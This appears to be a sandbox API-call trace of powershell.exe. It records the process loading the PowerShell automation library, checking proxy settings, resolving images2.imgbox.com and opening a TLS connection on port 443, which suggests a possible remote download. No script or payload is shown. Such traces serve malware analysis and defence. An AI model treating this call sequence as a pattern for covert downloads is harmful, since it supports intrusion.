	[0067.722] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c69c970, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0067.889] _CxxThrowException () 
	[0068.083] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0068.083] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0068.083] CoTaskMemFree (pv=0x2a7ff0) 
	[0068.536] CoTaskMemAlloc (cb=0x20c) returned 0x2836ef0
	[0068.536] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2836ef0, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39
	[0068.539] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1c69c3b0 | out: lpFileInformation=0x1c69c3b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf9bf7e3, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf9bf7e3, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x3f871a3e, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x65b3)) returned 1
	[0068.546] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.config"), fInfoLevelId=0x0, lpFileInformation=0x1c69c3b0 | out: lpFileInformation=0x1c69c3b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0068.559] GetCurrentProcess () returned 0xffffffffffffffff
	[0068.560] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c69c1e8 | out: TokenHandle=0x1c69c1e8*=0x374) returned 1
	[0068.595] RasEnumConnectionsW (in: param_1=0x26b160, param_2=0x1c69c81c, param_3=0x1c69c818 | out: param_1=0x26b160, param_2=0x1c69c81c, param_3=0x1c69c818) returned 0x0
	[0068.601] CoTaskMemFree (pv=0x26b160) 
	[0068.605] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1c69c628 | out: lpWSAData=0x1c69c628) returned 0
	[0068.609] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x418
	[0068.613] setsockopt (s=0x418, level=65535, optname=128, optval="\x01", optlen=4) returned -1
	[0068.613] closesocket (s=0x418) returned 0
	[0068.613] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x418
	[0068.614] setsockopt (s=0x418, level=65535, optname=128, optval="\x01", optlen=4) returned -1
	[0068.614] closesocket (s=0x418) returned 0
	[0068.622] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1
	[0068.625] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x1c69c280, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20000, lpName="Global\\netfxcustomperfcounters.1.0.net clr networking") returned 0x424
	[0068.627] MapViewOfFile (hFileMappingObject=0x424, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1b500000
	[0068.628] VirtualQuery (in: lpAddress=0x1b500000, lpBuffer=0x1c69c278, dwLength=0x30 | out: lpBuffer=0x1c69c278*(BaseAddress=0x1b500000, AllocationBase=0x1b500000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x20000, State=0x1000, Protect=0x4, Type=0x40000, __alignment2=0x0)) returned 0x30
	[0068.628] LocalFree (hMem=0x2697a0) returned 0x0
	[0068.628] RegCloseKey (hKey=0x420) returned 0x0
	[0068.631] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2fc6328, cbSid=0x1c69c260 | out: pSid=0x2fc6328*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c69c260) returned 1
	[0068.633] CreateMutexW (lpMutexAttributes=0x2fc6530, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x420
	[0068.635] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2fc6848, cbSid=0x1c69c1c0 | out: pSid=0x2fc6848*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c69c1c0) returned 1
	[0068.635] CreateMutexW (lpMutexAttributes=0x2fc6a00, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x0
	[0068.636] OpenMutexW (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="Global\\.net clr networking") returned 0x428
	[0068.636] WaitForSingleObject (hHandle=0x428, dwMilliseconds=0x1f4) returned 0x0
	[0068.637] CloseHandle (hObject=0x428) returned 1
	[0068.638] GetCurrentProcessId () returned 0xb90
	[0068.639] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb90) returned 0x428
	[0068.640] GetProcessTimes (in: hProcess=0x428, lpCreationTime=0x1c69c1d0, lpExitTime=0x1c69c1c8, lpKernelTime=0x1c69c1c0, lpUserTime=0x1c69c1b8 | out: lpCreationTime=0x1c69c1d0, lpExitTime=0x1c69c1c8, lpKernelTime=0x1c69c1c0, lpUserTime=0x1c69c1b8) returned 1
	[0068.640] CloseHandle (hObject=0x428) returned 1
	[0068.641] ReleaseMutex (hMutex=0x420) returned 1
	[0068.641] CloseHandle (hObject=0x420) returned 1
	[0068.641] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2fc7848, cbSid=0x1c69c260 | out: pSid=0x2fc7848*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c69c260) returned 1
	[0068.641] CreateMutexW (lpMutexAttributes=0x2fc7a00, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x420
	[0068.641] WaitForSingleObject (hHandle=0x420, dwMilliseconds=0x1f4) returned 0x0
	[0068.643] ReleaseMutex (hMutex=0x420) returned 1
	[0068.643] CloseHandle (hObject=0x420) returned 1
	[0068.643] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2fc8668, cbSid=0x1c69c260 | out: pSid=0x2fc8668*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c69c260) returned 1
	[0068.643] CreateMutexW (lpMutexAttributes=0x2fc8820, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x420
	[0068.643] WaitForSingleObject (hHandle=0x420, dwMilliseconds=0x1f4) returned 0x0
	[0068.644] ReleaseMutex (hMutex=0x420) returned 1
	[0068.644] CloseHandle (hObject=0x420) returned 1
	[0068.644] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2fc9480, cbSid=0x1c69c260 | out: pSid=0x2fc9480*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c69c260) returned 1
	[0068.644] CreateMutexW (lpMutexAttributes=0x2fc9638, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x420
	[0068.644] WaitForSingleObject (hHandle=0x420, dwMilliseconds=0x1f4) returned 0x0
	[0068.645] ReleaseMutex (hMutex=0x420) returned 1
	[0068.645] CloseHandle (hObject=0x420) returned 1
	[0068.645] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2fca290, cbSid=0x1c69c260 | out: pSid=0x2fca290*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c69c260) returned 1
	[0068.646] CreateMutexW (lpMutexAttributes=0x2fca448, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x420
	[0068.646] WaitForSingleObject (hHandle=0x420, dwMilliseconds=0x1f4) returned 0x0
	[0068.647] ReleaseMutex (hMutex=0x420) returned 1
	[0068.647] CloseHandle (hObject=0x420) returned 1
	[0068.647] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2fcb0a0, cbSid=0x1c69c210 | out: pSid=0x2fcb0a0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c69c210) returned 1
	[0068.648] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2fcbec8, cbSid=0x1c69c210 | out: pSid=0x2fcbec8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c69c210) returned 1
	[0068.648] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2fcccc0, cbSid=0x1c69c210 | out: pSid=0x2fcccc0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c69c210) returned 1
	[0068.648] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2fcdac8, cbSid=0x1c69c210 | out: pSid=0x2fcdac8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c69c210) returned 1
	[0068.648] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2fce8c8, cbSid=0x1c69c210 | out: pSid=0x2fce8c8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c69c210) returned 1
	[0068.649] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x420
	[0068.650] ioctlsocket (in: s=0x420, cmd=-2147195266, argp=0x1c69c848 | out: argp=0x1c69c848) returned 0
	[0068.651] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x42c
	[0068.651] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x430
	[0068.651] ioctlsocket (in: s=0x42c, cmd=-2147195266, argp=0x1c69c848 | out: argp=0x1c69c848) returned 0
	[0068.652] WSAIoctl (in: s=0x420, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1c69c7c0, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1c69c7c0, lpOverlapped=0x0) returned -1
	[0068.652] CoTaskMemAlloc (cb=0x204) returned 0x31ae70
	[0068.652] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x31ae70, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45
	[0068.653] WSAEventSelect (s=0x420, hEventObject=0x428, lNetworkEvents=512) returned 0
	[0068.653] WSAIoctl (in: s=0x42c, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1c69c7c0, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1c69c7c0, lpOverlapped=0x0) returned -1
	[0068.653] CoTaskMemAlloc (cb=0x204) returned 0x31ae70
	[0068.653] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x31ae70, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45
	[0068.653] WSAEventSelect (s=0x42c, hEventObject=0x430, lNetworkEvents=512) returned 0
	[0068.653] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x434
	[0068.654] RasConnectionNotificationW (param_1=0xffffffffffffffff, param_2=0x434, param_3=0x3) returned 0x0
	[0068.659] RegOpenCurrentUser (in: samDesired=0x20019, phkResult=0x1c69c900 | out: phkResult=0x1c69c900*=0x44c) returned 0x0
	[0068.661] RegOpenKeyExW (in: hKey=0x44c, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c69c7e8 | out: phkResult=0x1c69c7e8*=0x450) returned 0x0
	[0068.661] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x454
	[0068.661] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c69c810 | out: phkResult=0x1c69c810*=0x458) returned 0x0
	[0068.661] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x45c
	[0068.661] RegNotifyChangeKeyValue (hKey=0x458, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x45c, fAsynchronous=1) returned 0x0
	[0068.668] GetCurrentProcess () returned 0xffffffffffffffff
	[0068.668] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c69bf48 | out: TokenHandle=0x1c69bf48*=0x47c) returned 1
	[0068.673] GetCurrentProcess () returned 0xffffffffffffffff
	[0068.673] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c69bf48 | out: TokenHandle=0x1c69bf48*=0x480) returned 1
	[0068.687] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x1c69c848 | out: pProxyConfig=0x1c69c848) returned 1
	[0069.018] WinHttpDetectAutoProxyConfigUrl (in: dwAutoDetectFlags=0x1, ppwstrAutoConfigUrl=0x1c69c7b0 | out: ppwstrAutoConfigUrl=0x1c69c7b0*=0x0) returned 0
	[0069.032] WinHttpDetectAutoProxyConfigUrl (in: dwAutoDetectFlags=0x2, ppwstrAutoConfigUrl=0x1c69c7b0 | out: ppwstrAutoConfigUrl=0x1c69c7b0*=0x0) returned 0
	[0071.675] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x1c69c518 | out: pFixedInfo=0x0, pOutBufLen=0x1c69c518) returned 0x6f
	[0071.687] GetNetworkParams (in: pFixedInfo=0x2871c80, pOutBufLen=0x1c69c518 | out: pFixedInfo=0x2871c80, pOutBufLen=0x1c69c518) returned 0x0
	[0071.697] inet_addr (cp="192.168.0.1") returned 0x100a8c0
	[0071.697] CoTaskMemFree (pv=0x265330) 
	[0071.701] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4ec
	[0071.702] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4e8
	[0071.703] getaddrinfo (in: pNodeName="images2.imgbox.com", pServiceName=0x0, pHints=0x1c69c4c0*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1c69c4b8 | out: ppResult=0x1c69c4b8*=0x2714b0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="images2.imgbox.com.sds.rncdn7.com", ai_addr=0x2653b0*(sa_family=2, sin_port=0x0, sin_addr="66.254.122.102"), ai_next=0x2714f0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2653d0*(sa_family=2, sin_port=0x0, sin_addr="66.254.122.104"), ai_next=0x271630*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x263f30*(sa_family=2, sin_port=0x0, sin_addr="66.254.122.100"), ai_next=0x0)))) returned 0
	[0072.058] CoTaskMemFree (pv=0x265330) 
	[0072.058] CoTaskMemFree (pv=0x0) 
	[0072.060] FreeAddrInfoW (pAddrInfo=0x2714b0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="浩条獥⸲浩执硯挮浯献獤爮据湤⸷潣mm", ai_addr=0x2653b0*(sa_family=2, sin_port=0x0, sin_addr="66.254.122.102"), ai_next=0x2714f0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2653d0*(sa_family=2, sin_port=0x0, sin_addr="66.254.122.104"), ai_next=0x271630*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x263f30*(sa_family=2, sin_port=0x0, sin_addr="66.254.122.100"), ai_next=0x0)))) 
	[0072.061] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4f8
	[0072.061] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4e0
	[0072.061] ioctlsocket (in: s=0x4f8, cmd=-2147195266, argp=0x1c69c4d8 | out: argp=0x1c69c4d8) returned 0
	[0072.061] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x500
	[0072.061] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x504
	[0072.061] ioctlsocket (in: s=0x500, cmd=-2147195266, argp=0x1c69c4d8 | out: argp=0x1c69c4d8) returned 0
	[0072.061] WSAIoctl (in: s=0x4f8, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1c69c450, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1c69c450, lpOverlapped=0x0) returned -1
	[0072.061] CoTaskMemAlloc (cb=0x204) returned 0x31b4a0
	[0072.062] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x31b4a0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45
	[0072.062] CoTaskMemFree (pv=0x31b4a0) 
	[0072.062] WSAEventSelect (s=0x4f8, hEventObject=0x4e0, lNetworkEvents=512) returned 0
	[0072.062] WSAIoctl (in: s=0x500, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1c69c450, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1c69c450, lpOverlapped=0x0) returned -1
	[0072.062] CoTaskMemAlloc (cb=0x204) returned 0x31b4a0
	[0072.062] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x31b4a0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45
	[0072.062] CoTaskMemFree (pv=0x31b4a0) 
	[0072.062] WSAEventSelect (s=0x500, hEventObject=0x504, lNetworkEvents=512) returned 0
	[0072.064] GetAdaptersAddresses () returned 0x6f
	[0072.068] LocalAlloc (uFlags=0x0, uBytes=0xbe8) returned 0x2873840
	[0072.068] GetAdaptersAddresses () returned 0x0
	[0072.077] LocalFree (hMem=0x2873840) returned 0x0
	[0072.080] WSAConnect (in: s=0x4ec, name=0x2fda578*(sa_family=2, sin_port=0x1bb, sin_addr="66.254.122.102"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0
	[0072.104] closesocket (s=0x4e8) returned 0
	[0072.225] EnumerateSecurityPackagesW (in: pcPackages=0x1c69c338, ppPackageInfo=0x1c69c330 | out: pcPackages=0x1c69c338, ppPackageInfo=0x1c69c330) returned 0x0
	[0072.226] lstrlenW (lpString="Negotiate") returned 9
	[0072.227] CoTaskMemAlloc (cb=0x16) returned 0x263fd0
	[0072.227] RtlMoveMemory (in: Destination=0x263fd0, Source=0x2d9f60, Length=0x14 | out: Destination=0x263fd0) 
	[0072.227] FreeContextBuffer (in: pvContextBuffer=0x2d9e20 | out: pvContextBuffer=0x2d9e20) returned 0x0
	[0072.228] AcquireCredentialsHandleW (in: pPrincipal=0x0, pPackage=0x2fde740, fCredentialUse=0x2, pvLogonId=0x0, pAuthData=0x1c69bd28, pGetKeyFn=0x0, pvGetKeyArgument=0x0, phCredential=0x1c69bd18, ptsExpiry=0x1c69bd10 | out: phCredential=0x1c69bd18, ptsExpiry=0x1c69bd10) returned 0x0
	[0072.241] InitializeSecurityContextW (in: phCredential=0x1c69bf20, phContext=0x0, pTargetName=0x2fd2fa0, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x0, Reserved2=0x0, phNewContext=0x1c69bf10, pOutput=0x2fe0e88, pfContextAttr=0x1c69bf08, ptsExpiry=0x1c69bf00 | out: phNewContext=0x1c69bf10, pOutput=0x2fe0e88, pfContextAttr=0x1c69bf08, ptsExpiry=0x1c69bf00) returned 0x90312
	[0072.241] FreeContextBuffer (in: pvContextBuffer=0x2e7c20 | out: pvContextBuffer=0x2e7c20) returned 0x0
	[0072.245] send (in: s=0x4ec, buf=0x2fe0f58*, len=122, flags=0 | out: buf=0x2fe0f58*) returned 122
	[0072.247] recv (in: s=0x4ec, buf=0x2fe0f58, len=5, flags=0 | out: buf=0x2fe0f58*) returned 5
	[0072.295] recv (in: s=0x4ec, buf=0x2fe0f5d, len=93, flags=0 | out: buf=0x2fe0f5d*) returned 93
	[0072.295] InitializeSecurityContextW (in: phCredential=0x1c69be40, phContext=0x1c69c0f0, pTargetName=0x2fd2fa0, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x2fe1270, Reserved2=0x0, phNewContext=0x1c69be30, pOutput=0x2fe1290, pfContextAttr=0x1c69be28, ptsExpiry=0x1c69be20 | out: phNewContext=0x1c69be30, pOutput=0x2fe1290, pfContextAttr=0x1c69be28, ptsExpiry=0x1c69be20) returned 0x90312
	[0072.297] recv (in: s=0x4ec, buf=0x2fe1380, len=5, flags=0 | out: buf=0x2fe1380*) returned 5
	[0072.297] recv (in: s=0x4ec, buf=0x2fe13a5, len=4588, flags=0 | out: buf=0x2fe13a5*) returned 4588
	[0072.297] InitializeSecurityContextW (in: phCredential=0x1c69bd70, phContext=0x1c69c020, pTargetName=0x2fd2fa0, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x2fe2668, Reserved2=0x0, phNewContext=0x1c69bd60, pOutput=0x2fe2688, pfContextAttr=0x1c69bd58, ptsExpiry=0x1c69bd50 | out: phNewContext=0x1c69bd60, pOutput=0x2fe2688, pfContextAttr=0x1c69bd58, ptsExpiry=0x1c69bd50) returned 0x90312
	[0072.298] recv (in: s=0x4ec, buf=0x2fe2778, len=5, flags=0 | out: buf=0x2fe2778*) returned 5
	[0072.298] recv (in: s=0x4ec, buf=0x2fe279d, len=331, flags=0 | out: buf=0x2fe279d*) returned 331
	[0072.298] InitializeSecurityContextW (in: phCredential=0x1c69bca0, phContext=0x1c69bf50, pTargetName=0x2fd2fa0, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x2fe29b8, Reserved2=0x0, phNewContext=0x1c69bc90, pOutput=0x2fe29d8, pfContextAttr=0x1c69bc88, ptsExpiry=0x1c69bc80 | out: phNewContext=0x1c69bc90, pOutput=0x2fe29d8, pfContextAttr=0x1c69bc88, ptsExpiry=0x1c69bc80) returned 0x90312
	[0072.298] recv (in: s=0x4ec, buf=0x2fe2ac8, len=5, flags=0 | out: buf=0x2fe2ac8*) returned 5
	[0072.298] recv (in: s=0x4ec, buf=0x2fe2aed, len=4, flags=0 | out: buf=0x2fe2aed*) returned 4
	[0072.298] InitializeSecurityContextW (in: phCredential=0x1c69bbd0, phContext=0x1c69be80, pTargetName=0x2fd2fa0, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x2fe2bc8, Reserved2=0x0, phNewContext=0x1c69bbc0, pOutput=0x2fe2be8, pfContextAttr=0x1c69bbb8, ptsExpiry=0x1c69bbb0 | out: phNewContext=0x1c69bbc0, pOutput=0x2fe2be8, pfContextAttr=0x1c69bbb8, ptsExpiry=0x1c69bbb0) returned 0x90312
	[0072.303] FreeContextBuffer (in: pvContextBuffer=0x25d380 | out: pvContextBuffer=0x25d380) returned 0x0
	[0072.304] send (in: s=0x4ec, buf=0x2fe2cb8*, len=134, flags=0 | out: buf=0x2fe2cb8*) returned 134
	[0072.304] recv (in: s=0x4ec, buf=0x2fe2cb8, len=5, flags=0 | out: buf=0x2fe2cb8*) returned 5
	[0072.327] recv (in: s=0x4ec, buf=0x2fe2cbd, len=1, flags=0 | out: buf=0x2fe2cbd*) returned 1
	[0072.327] InitializeSecurityContextW (in: phCredential=0x1c69bb00, phContext=0x1c69bdb0, pTargetName=0x2fd2fa0, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x2fe2e30, Reserved2=0x0, phNewContext=0x1c69baf0, pOutput=0x2fe2e50, pfContextAttr=0x1c69bae8, ptsExpiry=0x1c69bae0 | out: phNewContext=0x1c69baf0, pOutput=0x2fe2e50, pfContextAttr=0x1c69bae8, ptsExpiry=0x1c69bae0) returned 0x90312
	[0072.328] recv (in: s=0x4ec, buf=0x2fe2f40, len=5, flags=0 | out: buf=0x2fe2f40*) returned 5
	[0072.328] recv (in: s=0x4ec, buf=0x2fe2f65, len=48, flags=0 | out: buf=0x2fe2f65*) returned 48
	[0072.328] InitializeSecurityContextW (in: phCredential=0x1c69ba30, phContext=0x1c69bce0, pTargetName=0x2fd2fa0, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x2fe3068, Reserved2=0x0, phNewContext=0x1c69ba20, pOutput=0x2fe3088, pfContextAttr=0x1c69ba18, ptsExpiry=0x1c69ba10 | out: phNewContext=0x1c69ba20, pOutput=0x2fe3088, pfContextAttr=0x1c69ba18, ptsExpiry=0x1c69ba10) returned 0x0
	[0072.335] QueryContextAttributesW (in: phContext=0x1c69bc90, ulAttribute=0x4, pBuffer=0x2fe31a0 | out: pBuffer=0x2fe31a0) returned 0x0
	[0072.336] QueryContextAttributesW (in: phContext=0x1c69bc90, ulAttribute=0x5a, pBuffer=0x2fe3220 | out: pBuffer=0x2fe3220) returned 0x0
	[0072.344] QueryContextAttributesW (in: phContext=0x1c69bb40, ulAttribute=0x53, pBuffer=0x2fe3570 | out: pBuffer=0x2fe3570) returned 0x0
	[0072.351] CertDuplicateCRLContext (pCrlContext=0x284bb60) returned 0x284bb60
	[0072.353] CertDuplicateStore (hCertStore=0x3122b0) returned 0x3122b0
	[0072.354] CertEnumCertificatesInStore (hCertStore=0x3122b0, pPrevCertContext=0x0) returned 0x284bc60
	[0072.354] CertDuplicateCRLContext (pCrlContext=0x284bc60) returned 0x284bc60
	[0072.354] CertEnumCertificatesInStore (hCertStore=0x3122b0, pPrevCertContext=0x284bc60) returned 0x284bbe0
	[0072.355] CertDuplicateCRLContext (pCrlContext=0x284bbe0) returned 0x284bbe0
	[0072.355] CertEnumCertificatesInStore (hCertStore=0x3122b0, pPrevCertContext=0x284bbe0) returned 0x284bb60
